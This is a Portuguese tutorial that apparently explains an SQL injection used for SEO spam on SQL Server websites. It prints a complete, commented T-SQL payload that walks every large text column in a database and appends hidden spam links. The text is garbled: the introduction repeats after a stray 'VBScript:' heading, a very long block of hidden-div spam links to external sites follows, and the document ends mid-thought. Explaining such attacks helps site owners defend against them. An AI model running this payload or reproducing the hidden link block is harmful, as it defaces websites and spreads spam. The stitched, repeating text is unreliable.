Tutorial - INVASÃO! - SQL Injection
Você tem seu site lindo e de repente aparece alguns textos ou propagandas não esperados e, o que fazer agora?
Você procura na internet pelos termos: "how to cheat with a married woman" e encontra apenas diversos de outros sites infectados como o seu.
Abaixo segue alguns de nossos scripts html encontrados em alguns sites infectados pelo SPAM SEO, e veja em uma matéria exclusiva como funciona seu ataque. Capturamos com exclusividade a ação do SQL Injection em um sistema utilizando uma trigger de auditoria e estamos aqui desvendando o código tão perturbador de inúmeros usuários na internet.
O SPAM SEO é um script que insere tags html de sites vulneráveis no intuito de aumentar o Page Rank no Google e em outros mecanismos de busca.
Existe o invasor, mas também existe o contratante que solicita ao SPAMMER o aumento do tráfego de seu site e paga um valor para o mesmo fazer isto.
Se você viu no seu site alguns destes textos:
Sinto meu caro, você foi atacado provavelmente pelo script abaixo através de uma vulnerabilidade de SQL Injection:
Vamos entender o código do SPAM SEO, primeiro organizando o código e comentando cada ação:
/* Quebrou a linha do SQL anterior permitindo incluir uma nova transação SQL. */
;
/* Declarou uma variável de cursor com o nome @c */
declare @c cursor;
/* Declarou outra variável com tamanho de 4000 bytes de texto */
declare @d varchar(4000);
/* Configurando a variável @c para um código SELECT (que traz um resultado) */
set @c=cursor
for
select
/* Abaixo ele realiza uma ação de texto para o cursor, o SELECT irá responder com esta string.
Observe que ele cria uma ação de update onde pega sempre uma tabela, uma coluna, e adiciona código de texto randômico por módulo 7 (qualquer número módulo % 7, irá resultar em um número entre 0 e 6 fechado).
Char são funções que chamam caracteres da tabela ASCII.
Char(47) = ALT+47 (numpad) que é igual à: " / "
NewId() = Gera um número randômico no SQL Server.
*/
'update
['+TABLE_NAME+']
set ['+COLUMN_NAME+']=['+COLUMN_NAME+'] + case ABS(CHECKSUM( NewId() ) ) % 7 when 0 then ''''
+ char(60) + ''div style="display:none"''
+ char(62) + ''i dreamed my wife cheated on me ''
+ char(60) + ''a href="http:''
+ char(47) + char(47) + ''www.cfrtu.org''
+ char(47) + ''events.asp"''
+ char(62) + case ABS(CHECKSUM( NewId() ))%3 when 0 then ''how to cheat with a married woman'' when 1 then ''link'' else ''husband cheated wife'' end
+ char(60) + char(47) + ''a''
+ char(62) + '' dating for married people''
+ char(60) + char(47) + ''div''+char(62) + '''' else '''' end'
/* Aqui traz do engine do banco as tabelas e suas colunas existentes para completar a string acima com todas as tabelas no banco que são *varchar (nvarchar, varchar) de tamanho grande (para não falhar a inserção do código) */
FROM sysindexes AS i
INNER JOIN sysobjects AS o ON i.id=o.id
INNER JOIN INFORMATION_SCHEMA.COLUMNS ON o.NAME=TABLE_NAME
WHERE(indid=0 or indid=1)
and DATA_TYPE like '%varchar'
and(
CHARACTER_MAXIMUM_LENGTH=-1 or CHARACTER_MAXIMUM_LENGTH=2147483647
);
/* Aqui executa todas as ações que foram salvas na consulta acima para o cursor */
open @c;
fetch next from @c into @d;while @@FETCH_STATUS=0 begin exec (@d);
fetch next from @c into @d;
end;
close @c--
E assim com os dois "--" finaliza a transação ignorando o restante do código que vier.
VBScript:
Você procura na internet pelos termos: "how to cheat with a married woman" e encontra apenas diversos de outros sites infectados como o seu.
Abaixo segue alguns de nossos scripts html encontrados em alguns sites infectados pelo SPAM SEO, e veja em uma matéria exclusiva como funciona seu ataque. Capturamos com exclusividade a ação do SQL Injection em um sistema utilizando uma trigger de auditoria e estamos aqui desvendando o código tão perturbador de inúmeros usuários na internet.
O SPAM SEO é um script que insere tags html de sites vulneráveis no intuito de aumentar o Page Rank no Google e em outros mecanismos de busca.
Existe o invasor, mas também existe o contratante que solicita ao SPAMMER o aumento do tráfego de seu site e paga um valor para o mesmo fazer isto.
Se você viu no seu site alguns destes textos:
<div style="display:none">open <a href="http://blog.businessdating.com/page/How-women-cheat">signs of unfaithful husband</a> how to cheat</div><div style="display:none">go <a href="http://solluna.somee.com/page/I-cheated-on-my-boyfriend.aspx">looking for affair</a> online</div><div style="display:none">wives cheat <a href="http://www.christiancopyrightsolutions.com/blog/page/I-cheated-on-my-boyfriend">website</a> why wife cheated</div><div style="display:none">wifes that cheat <a href="http://www.skydiveorange.com/blog/page/unfaithful-wife">married and want to cheat</a> go</div><div style="display:none">online <a href="http://blog.armanda.com/page/women-who-cheat-with-married-men.aspx">link</a> women who like to cheat</div><div style="display:none">reason why husband cheat <a href="http://blog.zycon.com/post/lean-initiatives-improve-medical-manufacturing-quality">why women cheat on men</a> when married men cheat</div><div style="display:none">women who want to cheat <a href="http://community.vitechcorp.com/home/">click here</a> click</div><div style="display:none">wifes that cheat <a href="http://www.skydiveorange.com/blog/page/unfaithful-wife">married and want to cheat</a> go</div><div style="display:none">link <a href="http://blog.armanda.com/page/women-who-cheat-with-married-men.aspx">click here</a> why do married men cheat</div><div style="display:none">go <a href="http://solluna.somee.com/page/I-cheated-on-my-boyfriend.aspx">looking for affair</a> online</div><div style="display:none">how many people cheat <a href="http://geekiest.net/post/250-awesome-photography-tutorials.aspx">married affairs sites</a> i dreamed my husband cheated on me</div><div style="display:none">wives cheat <a href="http://blog.gobiztech.com/page/men-having-affairs.aspx">how many guys cheat</a> married men that cheat</div><div style="display:none">online <a href="http://blog.top50ranches.com/post/Argentina-food-and-wine.aspx">I cheated on my girlfriend</a> how can people cheat</div><div style="display:none">my boyfriend cheated on me with a guy <a href="http://www.skydiveorange.com/blog/page/unfaithful-wife">wives that cheat</a> reasons wives cheat on their husbands</div><div style="display:none">wives cheat <a href="http://blog.gobiztech.com/page/men-having-affairs.aspx">will my husband cheat</a> married men that cheat</div><div style="display:none">online <a href="http://blog.armanda.com/page/women-who-cheat-with-married-men.aspx">wife cheat story</a> women who like to cheat</div><div style="display:none">go <a href="http://solluna.somee.com/page/I-cheated-on-my-boyfriend.aspx">looking for affair</a> online</div><div style="display:none">reason why husband cheat <a href="http://blog.zycon.com/post/lean-initiatives-improve-medical-manufacturing-quality">why women cheat on men</a> when married men cheat</div><div style="display:none">my boyfriend cheated on me with a guy <a href="http://www.skydiveorange.com/blog/page/unfaithful-wife">wives that cheat</a> reasons wives cheat on their husbands</div><div style="display:none">wifes that cheat <a href="http://www.skydiveorange.com/blog/page/unfaithful-wife">open</a> go</div><div style="display:none">why are women unfaithful <a href="http://www.avjobs.com/blog/page/Married-Men-Who-Have-Affairs.aspx">my boyfriend cheated on me quotes</a> wife who cheated</div><div style="display:none">why do husband cheat <a href="http://blog.w3newspapers.com/page/Types-Of-Women-Who-Cheat.aspx">what makes husbands cheat</a> infidelity</div><div style="display:none">link <a href="http://blog.armanda.com/page/women-who-cheat-with-married-men.aspx">will my husband cheat</a> why do married men cheat</div><div style="display:none">women that cheat with married men <a href="http://blog.zycon.com/post/lean-initiatives-improve-medical-manufacturing-quality">click here</a> women who cheated</div><div style="display:none">dating a married woman <a href="http://community.vitechcorp.com/home/">married men who cheat with men</a> catching a cheater</div><div style="display:none">why do women cheat on husbands <a href="http://blog.businessdating.com/page/How-women-cheat">how often do women cheat on their husbands</a> husband cheated on me</div><div style="display:none">my wife cheated on me with my father <a href="http://geekiest.net/post/250-awesome-photography-tutorials.aspx">do all women cheat</a> how many guys cheat</div><div style="display:none">website <a href="http://www.skydiveorange.com/blog/page/unfaithful-wife">wife affair</a> go</div><div style="display:none">why are women unfaithful <a href="http://blog.businessdating.com/page/How-women-cheat">husband cheated</a> women cheat because</div><div style="display:none">dating a married woman <a href="http://community.vitechcorp.com/home/"></a> catching a cheater</div><div style="display:none">wifes that cheat <a href="http://www.skydiveorange.com/blog/page/unfaithful-wife">married and want to cheat</a> go</div><div style="display:none">when women cheat <a href="http://blog.gobiztech.com/page/men-having-affairs.aspx">my wife emotionally cheated on me</a> website</div><div style="display:none">reasons why women cheat <a href="http://blog.top50ranches.com/post/Argentina-food-and-wine.aspx">how to cheat on wife</a> why husband cheat on their wife</div><div style="display:none">women who want to cheat <a href="http://community.vitechcorp.com/home/">wife cheaters</a> click</div><div style="display:none">why are women unfaithful <a href="http://www.avjobs.com/blog/page/Married-Men-Who-Have-Affairs.aspx">how can people cheat</a> wife who cheated</div><div style="display:none">catching a cheater <a href="http://blog.businessdating.com/page/How-women-cheat">dating for married men</a> how to cheat husband</div><div style="display:none">men and women <a href="http://by-expression.com/page/my-girlfriend-started-to-communicate-with-ex">link</a> what makes people cheat</div><div style="display:none">reason why husband cheat <a href="http://blog.zycon.com/post/lean-initiatives-improve-medical-manufacturing-quality">why women cheat on men</a> when married men cheat</div><div style="display:none">dating a married woman <a href="http://community.vitechcorp.com/home/">married men who cheat with men</a> catching a cheater</div><div style="display:none">link <a href="http://blog.gobiztech.com/page/men-having-affairs.aspx">why women cheat on their husbands</a> My boyfriend cheated on me</div><div style="display:none">go <a href="http://solluna.somee.com/page/I-cheated-on-my-boyfriend.aspx">click here</a> online</div><div style="display:none">dating a married woman <a href="http://community.vitechcorp.com/home/">women who want to cheat</a> catching a cheater</div><div style="display:none">why are women unfaithful <a href="http://blog.businessdating.com/page/How-women-cheat">will my wife cheat again</a> women cheat because</div><div style="display:none">reason why husband cheat <a href="http://blog.zycon.com/post/lean-initiatives-improve-medical-manufacturing-quality">open</a> when married men cheat</div><div style="display:none">women who want to cheat <a href="http://community.vitechcorp.com/home/">click here</a> click</div><div style="display:none">wifes that cheat <a href="http://www.skydiveorange.com/blog/page/unfaithful-wife">married and want to cheat</a> go</div><div style="display:none">why do women cheat on husbands <a href="http://blog.businessdating.com/page/How-women-cheat">women will cheat</a> husband cheated on me</div><div style="display:none">website <a href="http://www.skydiveorange.com/blog/page/unfaithful-wife">wife affair</a> go</div><div style="display:none">why do husband cheat <a href="http://blog.w3newspapers.com/page/Types-Of-Women-Who-Cheat.aspx">what makes husbands cheat</a> infidelity</div><div style="display:none">what makes married men cheat <a href="http://by-expression.com/page/my-girlfriend-started-to-communicate-with-ex">link</a> men who have affairs</div><div style="display:none">online <a href="http://blog.top50ranches.com/post/Argentina-food-and-wine.aspx">when a husband cheats</a> how can people cheat</div><div style="display:none">why does husbands cheat <a href="http://blog.smartofficecloud.com/page/Reasons-Married-Men-Cheat">redirect</a> signs of unfaithful husband</div><div style="display:none">online <a href="http://blog.armanda.com/page/women-who-cheat-with-married-men.aspx">women who cheat on their husbands</a> women who like to cheat</div><div style="display:none">cheat wifes <a href="http://www.avonotakaronetwork.co.nz/blog/page/I-cheated-on-my-boyfriend">why do men cheat on their wife</a> signs of unfaithful husband</div><div style="display:none">how many people cheat <a href="http://geekiest.net/post/250-awesome-photography-tutorials.aspx">married affairs sites</a> i dreamed my husband cheated on me</div><div style="display:none">go <a href="http://by-expression.com/page/my-girlfriend-started-to-communicate-with-ex">women who cheat on their husbands</a> how do i know if my wife has cheated</div><div style="display:none">dating a married woman <a href="http://community.vitechcorp.com/home/">married men who cheat with men</a> catching a cheater</div><div style="display:none">my wife cheated on me with my father <a href="http://geekiest.net/post/250-awesome-photography-tutorials.aspx">why women cheat on their husband</a> how many guys cheat</div><div style="display:none">why do husband cheat <a href="http://blog.w3newspapers.com/page/Types-Of-Women-Who-Cheat.aspx">married woman looking to cheat</a> infidelity</div><div style="display:none">married cheat <a href="http://blog.gobiztech.com/page/men-having-affairs.aspx">read here</a> women looking to cheat</div><div style="display:none">why does husbands cheat <a href="http://blog.smartofficecloud.com/page/Reasons-Married-Men-Cheat"></a> signs of unfaithful husband</div><div style="display:none">go <a href="http://by-expression.com/page/my-girlfriend-started-to-communicate-with-ex">all women cheat</a> how do i know if my wife has cheated</div><div style="display:none">online <a href="http://blog.top50ranches.com/post/Argentina-food-and-wine.aspx">redirect</a> how can people cheat</div><div style="display:none">my boyfriend cheated on me with a guy <a href="http://www.skydiveorange.com/blog/page/unfaithful-wife">why women cheat with married men</a> reasons wives cheat on their husbands</div><div style="display:none">unfaithful wife <a href="http://blog.smartofficecloud.com/page/Reasons-Married-Men-Cheat">woman affair</a> how do i know if my wife cheated</div><div style="display:none">why does husbands cheat <a href="http://blog.smartofficecloud.com/page/Reasons-Married-Men-Cheat"></a> signs of unfaithful husband</div><div style="display:none">online <a href="http://blog.armanda.com/page/women-who-cheat-with-married-men.aspx">how married men cheat</a> why do people cheat</div><div style="display:none">go <a href="http://solluna.somee.com/page/I-cheated-on-my-boyfriend.aspx">looking for affair</a> online</div><div style="display:none">why are women unfaithful <a href="http://www.avjobs.com/blog/page/Married-Men-Who-Have-Affairs.aspx">my boyfriend cheated on me quotes</a> wife who cheated</div><div style="display:none">go <a href="http://by-expression.com/page/my-girlfriend-started-to-communicate-with-ex">why do wifes cheat</a> how do i know if my wife has cheated</div><div style="display:none">go <a href="http://solluna.somee.com/page/I-cheated-on-my-boyfriend.aspx">looking for affair</a> online</div><div style="display:none">reasons why women cheat <a href="http://blog.top50ranches.com/post/Argentina-food-and-wine.aspx">why wife cheated</a> why husband cheat on their wife</div><div style="display:none">women that cheat with married men <a href="http://blog.zycon.com/post/lean-initiatives-improve-medical-manufacturing-quality">why do men cheat on their wife</a> women who cheated</div><div style="display:none">why does husbands cheat <a href="http://blog.smartofficecloud.com/page/Reasons-Married-Men-Cheat"></a> signs of unfaithful husband</div><div style="display:none">what makes married men cheat <a href="http://by-expression.com/page/my-girlfriend-started-to-communicate-with-ex">how do i know if my wife has cheated</a> men who have affairs</div><div style="display:none">why are women unfaithful <a href="http://www.avjobs.com/blog/page/Married-Men-Who-Have-Affairs.aspx">click here</a> wife who cheated</div><div style="display:none">website <a href="http://www.skydiveorange.com/blog/page/unfaithful-wife">why do wifes cheat</a> go</div><div style="display:none">women love to cheat <a href="http://www.avjobs.com/blog/page/Married-Men-Who-Have-Affairs.aspx">click</a> looking to cheat</div><div style="display:none">what makes married men cheat <a href="http://by-expression.com/page/my-girlfriend-started-to-communicate-with-ex">why some women cheat</a> men who have affairs</div><div style="display:none">reasons why women cheat <a href="http://blog.top50ranches.com/post/Argentina-food-and-wine.aspx">how to cheat on wife</a> why husband cheat on their wife</div><div style="display:none">women that cheat with married men <a href="http://blog.zycon.com/post/lean-initiatives-improve-medical-manufacturing-quality">why do men cheat on their wife</a> women who cheated</div><div style="display:none">website <a href="http://www.skydiveorange.com/blog/page/unfaithful-wife">read</a> go</div><div style="display:none">men and women <a href="http://by-expression.com/page/my-girlfriend-started-to-communicate-with-ex">why women cheat</a> what makes people cheat</div><div style="display:none">reason why husband cheat <a href="http://blog.zycon.com/post/lean-initiatives-improve-medical-manufacturing-quality">open</a> when married men cheat</div><div style="display:none">women love to cheat <a href="http://www.avjobs.com/blog/page/Married-Men-Who-Have-Affairs.aspx">my wife emotionally cheated on me</a> looking to cheat</div><div style="display:none">open <a href="http://blog.businessdating.com/page/How-women-cheat">my husband almost cheated on me</a> how to cheat</div><div style="display:none">men and women <a href="http://by-expression.com/page/my-girlfriend-started-to-communicate-with-ex">women who cheat</a> what makes people cheat</div><div style="display:none">wives cheat <a href="http://www.christiancopyrightsolutions.com/blog/page/I-cheated-on-my-boyfriend">website</a> why wife cheated</div><div style="display:none">online <a href="http://blog.top50ranches.com/post/Argentina-food-and-wine.aspx">redirect</a> how can people cheat</div><div style="display:none">women that cheat with married men <a href="http://blog.zycon.com/post/lean-initiatives-improve-medical-manufacturing-quality">why do men cheat on their wife</a> women who cheated</div><div style="display:none">website <a href="http://www.skydiveorange.com/blog/page/unfaithful-wife">wife affair</a> go</div><div style="display:none">women love to cheat <a href="http://www.avjobs.com/blog/page/Married-Men-Who-Have-Affairs.aspx">cheaters</a> looking to cheat</div><div style="display:none">married cheat <a href="http://blog.gobiztech.com/page/men-having-affairs.aspx">what causes women to cheat</a> women looking to cheat</div><div style="display:none">online <a href="http://blog.top50ranches.com/post/Argentina-food-and-wine.aspx">I cheated on my girlfriend</a> how can people cheat</div><div style="display:none">how many people cheat <a href="http://geekiest.net/post/250-awesome-photography-tutorials.aspx">click here</a> i dreamed my husband cheated on me</div><div style="display:none">when women cheat <a href="http://blog.gobiztech.com/page/men-having-affairs.aspx">how do i know if my wife has cheated</a> website</div><div style="display:none">why are women unfaithful <a href="http://www.avjobs.com/blog/page/Married-Men-Who-Have-Affairs.aspx">click here</a> wife who cheated</div><div style="display:none">why do husband cheat <a href="http://blog.w3newspapers.com/page/Types-Of-Women-Who-Cheat.aspx">I cheated on my boyfriend</a> infidelity</div><div style="display:none">when women cheat <a href="http://blog.gobiztech.com/page/men-having-affairs.aspx">go</a> website</div><div style="display:none">go <a href="http://solluna.somee.com/page/I-cheated-on-my-boyfriend.aspx">looking for affair</a> online</div><div style="display:none">my wife cheated on me with my father <a href="http://geekiest.net/post/250-awesome-photography-tutorials.aspx">why do husband cheat</a> how many guys cheat</div><div style="display:none">open <a href="http://blog.businessdating.com/page/How-women-cheat">open</a> how to cheat</div><div style="display:none">unfaithful wife <a href="http://blog.smartofficecloud.com/page/Reasons-Married-Men-Cheat">read here</a> how do i know if my wife cheated</div><div style="display:none">why do husband cheat <a href="http://blog.w3newspapers.com/page/Types-Of-Women-Who-Cheat.aspx">I cheated on my boyfriend</a> infidelity</div><div style="display:none">married cheat <a href="http://blog.gobiztech.com/page/men-having-affairs.aspx">why men have affairs</a> women looking to cheat</div><div style="display:none">go <a href="http://solluna.somee.com/page/I-cheated-on-my-boyfriend.aspx">why do men cheat on their wife</a> online</div><div style="display:none">women that cheat with married men <a href="http://blog.zycon.com/post/lean-initiatives-improve-medical-manufacturing-quality">why do men cheat on their wife</a> women who cheated</div><div style="display:none">reason why husband cheat <a href="http://blog.zycon.com/post/lean-initiatives-improve-medical-manufacturing-quality">how to cheat on wife</a> when married men cheat</div><div style="display:none">link <a href="http://blog.armanda.com/page/women-who-cheat-with-married-men.aspx">married men having affairs</a> why do married men cheat</div><div style="display:none">cheat wifes <a href="http://www.avonotakaronetwork.co.nz/blog/page/I-cheated-on-my-boyfriend">website</a> signs of unfaithful husband</div><div style="display:none">how many people cheat <a href="http://geekiest.net/post/250-awesome-photography-tutorials.aspx">cheat on wife</a> i dreamed my husband cheated on me</div><div style="display:none">why are women unfaithful <a href="http://www.avjobs.com/blog/page/Married-Men-Who-Have-Affairs.aspx">how can people cheat</a> wife who cheated</div><div style="display:none">why do women cheat on husbands <a href="http://blog.businessdating.com/page/How-women-cheat">wifes who cheat</a> husband cheated on me</div><div style="display:none">my wife cheated on me with my father <a href="http://geekiest.net/post/250-awesome-photography-tutorials.aspx">why women cheat on their husband</a> how many guys cheat</div><div style="display:none">wives cheat <a href="http://blog.gobiztech.com/page/men-having-affairs.aspx">women who cheat on their husbands</a> married men that cheat</div><div style="display:none">go <a href="http://solluna.somee.com/page/I-cheated-on-my-boyfriend.aspx">click here</a> online</div><div style="display:none">cheat wifes <a href="http://www.avonotakaronetwork.co.nz/blog/page/I-cheated-on-my-boyfriend">website</a> signs of unfaithful husband</div><div style="display:none">women who want to cheat <a href="http://community.vitechcorp.com/home/">wife cheaters</a> click</div><div style="display:none">my boyfriend cheated on me with a guy <a href="http://www.skydiveorange.com/blog/page/unfaithful-wife">why women cheat with married men</a> reasons wives cheat on their husbands</div><div style="display:none">why are women unfaithful <a href="http://www.avjobs.com/blog/page/Married-Men-Who-Have-Affairs.aspx">my boyfriend cheated on me quotes</a> wife who cheated</div><div style="display:none">women love to cheat <a href="http://www.avjobs.com/blog/page/Married-Men-Who-Have-Affairs.aspx">click</a> looking to cheat</div><div style=display:none>men and women <a href=http://by-expression.com/page/my-girlfriend-started-to-communicate-with-ex>why women cheat</a> what makes people cheat</div><div style="display:none">my wife cheated on me with my father <a href="http://geekiest.net/post/250-awesome-photography-tutorials.aspx">do all women cheat</a> how many guys cheat</div><div style="display:none">how many people cheat <a href="http://geekiest.net/post/250-awesome-photography-tutorials.aspx">click here</a> i dreamed my husband cheated on me</div><div style="display:none">why are women unfaithful <a href="http://www.avjobs.com/blog/page/Married-Men-Who-Have-Affairs.aspx">my boyfriend cheated on me quotes</a> wife who cheated</div><div style="display:none">women love to cheat <a href="http://www.avjobs.com/blog/page/Married-Men-Who-Have-Affairs.aspx">click</a> looking to cheat</div><div style=display:none>when women cheat <a href=http://blog.gobiztech.com/page/men-having-affairs.aspx>my wife emotionally cheated on me</a> website</div><div style="display:none">dating a married woman <a href="http://community.vitechcorp.com/home/">women who want to cheat</a> catching a cheater</div><div style="display:none">women who want to cheat <a href="http://community.vitechcorp.com/home/">open</a> click</div><div style="display:none">women love to cheat <a href="http://www.avjobs.com/blog/page/Married-Men-Who-Have-Affairs.aspx">cheaters</a> looking to cheat</div><div style=display:none>wives cheat <a href=http://blog.gobiztech.com/page/men-having-affairs.aspx>how many guys cheat</a> married men that cheat</div><div style="display:none">wives cheat <a href="http://www.christiancopyrightsolutions.com/blog/page/I-cheated-on-my-boyfriend"></a> why wife cheated</div><div style="display:none">my wife cheated on me with my father <a href="http://geekiest.net/post/250-awesome-photography-tutorials.aspx">do all women cheat</a> how many guys cheat</div><div style="display:none">wifes that cheat <a href="http://www.skydiveorange.com/blog/page/unfaithful-wife">open</a> go</div><div style="display:none">why do husband cheat <a href="http://blog.w3newspapers.com/page/Types-Of-Women-Who-Cheat.aspx">I cheated on my boyfriend</a> infidelity</div><div style=display:none>when women cheat <a href=http://blog.gobiztech.com/page/men-having-affairs.aspx>go</a> website</div><div style="display:none">online <a href="http://blog.top50ranches.com/post/Argentina-food-and-wine.aspx">I cheated on my girlfriend</a> how can people cheat</div><div style=display:none>open <a href=http://blog.businessdating.com/page/How-women-cheat>my husband almost cheated on me</a> how to cheat</div><div style="display:none">online <a href="http://blog.top50ranches.com/post/Argentina-food-and-wine.aspx">redirect</a> how can people cheat</div><div style="display:none">reason why husband cheat <a href="http://blog.zycon.com/post/lean-initiatives-improve-medical-manufacturing-quality">why women cheat on men</a> when married men cheat</div><div style="display:none">my boyfriend cheated on me with a guy <a href="http://www.skydiveorange.com/blog/page/unfaithful-wife">black women white men</a> reasons wives cheat on their husbands</div><div style="display:none">why are women unfaithful <a href="http://www.avjobs.com/blog/page/Married-Men-Who-Have-Affairs.aspx">my boyfriend cheated on me quotes</a> wife who cheated</div><div style="display:none">why does husbands cheat <a href="http://blog.smartofficecloud.com/page/Reasons-Married-Men-Cheat">why women cheat on men</a> signs of unfaithful husband</div><div style=display:none>why do women cheat on husbands <a href=http://blog.businessdating.com/page/How-women-cheat>women will cheat</a> husband cheated on me</div><div style="display:none">unfaithful wife <a href="http://blog.smartofficecloud.com/page/Reasons-Married-Men-Cheat">i cheated on husband</a> how do i know if my wife cheated</div><div style="display:none">why does husbands cheat <a href="http://blog.smartofficecloud.com/page/Reasons-Married-Men-Cheat">redirect</a> signs of unfaithful husband</div><div style=display:none>link <a href=http://blog.armanda.com/page/women-who-cheat-with-married-men.aspx>click here</a> why do married men cheat</div><div style="display:none">why are women unfaithful <a href="http://www.avjobs.com/blog/page/Married-Men-Who-Have-Affairs.aspx">click here</a> wife who cheated</div><div style=display:none>why do women cheat on husbands <a href=http://blog.businessdating.com/page/How-women-cheat>wifes who cheat</a> husband cheated on me</div><div style="display:none">women who want to cheat <a href="http://community.vitechcorp.com/home/">wife cheaters</a> click</div><div style=display:none>open <a href=http://blog.businessdating.com/page/How-women-cheat>signs of unfaithful husband</a> how to cheat</div><div style="display:none">go <a href="http://solluna.somee.com/page/I-cheated-on-my-boyfriend.aspx">click here</a> online</div><div style="display:none">my wife cheated on me with my father <a href="http://geekiest.net/post/250-awesome-photography-tutorials.aspx">why women cheat on their husband</a> how many guys cheat</div><div style="display:none">how many people cheat <a href="http://geekiest.net/post/250-awesome-photography-tutorials.aspx">click here</a> i dreamed my husband cheated on me</div><div style=display:none>online <a href=http://blog.armanda.com/page/women-who-cheat-with-married-men.aspx>link</a> women who like to cheat</div><div style="display:none">cheat wifes <a href="http://www.avonotakaronetwork.co.nz/blog/page/I-cheated-on-my-boyfriend">website</a> signs of unfaithful husband</div><div style="display:none">why does husbands cheat <a href="http://blog.smartofficecloud.com/page/Reasons-Married-Men-Cheat"></a> signs of unfaithful husband</div><div style=display:none>wives cheat <a href=http://blog.gobiztech.com/page/men-having-affairs.aspx>women who cheat on their husbands</a> married men that cheat</div><div style="display:none">dating a married woman <a href="http://community.vitechcorp.com/home/">married men who cheat with men</a> catching a cheater</div><div style="display:none">women love to cheat <a href="http://www.avjobs.com/blog/page/Married-Men-Who-Have-Affairs.aspx">my wife emotionally cheated on me</a> looking to cheat</div><div style=display:none>men and women <a href=http://by-expression.com/page/my-girlfriend-started-to-communicate-with-ex>women who cheat</a> what makes people cheat</div><div style=display:none>married cheat <a href=http://blog.gobiztech.com/page/men-having-affairs.aspx>read here</a> women looking to cheat</div><div style="display:none">why do husband cheat <a href="http://blog.w3newspapers.com/page/Types-Of-Women-Who-Cheat.aspx">married woman looking to cheat</a> infidelity</div><div style=display:none>online <a href=http://blog.armanda.com/page/women-who-cheat-with-married-men.aspx>wife cheat story</a> women who like to cheat</div><div style="display:none">online <a href="http://blog.top50ranches.com/post/Argentina-food-and-wine.aspx">when a husband cheats</a> how can people cheat</div><div style="display:none">why does husbands cheat <a href="http://blog.smartofficecloud.com/page/Reasons-Married-Men-Cheat">redirect</a> signs of unfaithful husband</div><div style=display:none>open <a href=http://blog.businessdating.com/page/How-women-cheat>open</a> how to cheat</div><div style="display:none">website <a href="http://www.skydiveorange.com/blog/page/unfaithful-wife">wife affair</a> go</div><div style=display:none>why do women cheat on husbands <a href=http://blog.businessdating.com/page/How-women-cheat>how often do women cheat on their husbands</a> husband cheated on me</div><div style="display:none">go <a href="http://solluna.somee.com/page/I-cheated-on-my-boyfriend.aspx">looking for affair</a> online</div><div style="display:none">cheat wifes <a href="http://www.avonotakaronetwork.co.nz/blog/page/I-cheated-on-my-boyfriend">website</a> signs of unfaithful husband</div><div style="display:none">my wife cheated on me with my father <a href="http://geekiest.net/post/250-awesome-photography-tutorials.aspx">why do husband cheat</a> how many guys cheat</div><div style="display:none">why does husbands cheat <a href="http://blog.smartofficecloud.com/page/Reasons-Married-Men-Cheat"></a> signs of unfaithful husband</div><div style=display:none>men and women <a href=http://by-expression.com/page/my-girlfriend-started-to-communicate-with-ex>link</a> what makes people cheat</div><div style="display:none">my wife cheated on me with my father <a href="http://geekiest.net/post/250-awesome-photography-tutorials.aspx">why women cheat on their husband</a> how many guys cheat</div><div style="display:none">why are women unfaithful <a href="http://www.avjobs.com/blog/page/Married-Men-Who-Have-Affairs.aspx">my boyfriend cheated on me quotes</a> wife who cheated</div><div style="display:none">why do husband cheat <a href="http://blog.w3newspapers.com/page/Types-Of-Women-Who-Cheat.aspx">what makes husbands cheat</a> infidelity</div><div style=display:none>link <a href=http://blog.armanda.com/page/women-who-cheat-with-married-men.aspx>will my husband cheat</a> why do married men cheat</div><div style="display:none">go <a href="http://solluna.somee.com/page/I-cheated-on-my-boyfriend.aspx">click here</a> online</div><div style="display:none">women who want to cheat <a href="http://community.vitechcorp.com/home/">wife cheaters</a> click</div><div style="display:none">how many people cheat <a href="http://geekiest.net/post/250-awesome-photography-tutorials.aspx">cheat on wife</a> i dreamed my husband cheated on me</div><div style=display:none>married cheat <a href=http://blog.gobiztech.com/page/men-having-affairs.aspx>what causes women to cheat</a> women looking to cheat</div><div style="display:none">why are women unfaithful <a href="http://www.avjobs.com/blog/page/Married-Men-Who-Have-Affairs.aspx">my boyfriend cheated on me quotes</a> wife who cheated</div><div style="display:none">why do husband cheat <a href="http://blog.w3newspapers.com/page/Types-Of-Women-Who-Cheat.aspx">I cheated on my boyfriend</a> infidelity</div><div style="display:none">online <a href="http://blog.armanda.com/page/women-who-cheat-with-married-men.aspx">women who cheat on their husbands</a> women who like to cheat</div><div style="display:none">go <a href="http://solluna.somee.com/page/I-cheated-on-my-boyfriend.aspx">looking for affair</a> online</div><div style="display:none">online <a href="http://blog.top50ranches.com/post/Argentina-food-and-wine.aspx">when a husband cheats</a> how can people cheat</div><div style="display:none">women love to cheat <a href="http://www.avjobs.com/blog/page/Married-Men-Who-Have-Affairs.aspx">click</a> looking to cheat</div><div style="display:none">why does husbands cheat <a href="http://blog.smartofficecloud.com/page/Reasons-Married-Men-Cheat"></a> signs of unfaithful husband</div><div style="display:none">online <a href="http://blog.armanda.com/page/women-who-cheat-with-married-men.aspx">married and want to cheat</a> why do people cheat</div><div style="display:none">why are women unfaithful <a href="http://www.avjobs.com/blog/page/Married-Men-Who-Have-Affairs.aspx">my boyfriend cheated on me quotes</a> wife who cheated</div><div style="display:none">website <a href="http://www.skydiveorange.com/blog/page/unfaithful-wife">read</a> go</div><div style="display:none">link <a href="http://blog.armanda.com/page/women-who-cheat-with-married-men.aspx">click here</a> why do married men cheat</div><div style="display:none">women who want to cheat <a href="http://community.vitechcorp.com/home/">click here</a> click</div><div style="display:none">why are women unfaithful <a href="http://www.avjobs.com/blog/page/Married-Men-Who-Have-Affairs.aspx">click here</a> wife who cheated</div><div style="display:none">why do husband cheat <a href="http://blog.w3newspapers.com/page/Types-Of-Women-Who-Cheat.aspx">I cheated on my boyfriend</a> infidelity</div><div style="display:none">why does husbands cheat <a href="http://blog.smartofficecloud.com/page/Reasons-Married-Men-Cheat">why women cheat on men</a> signs of unfaithful husband</div>
Sinto meu caro, você foi atacado provavelmente pelo script abaixo através de uma vulnerabilidade de SQL Injection:
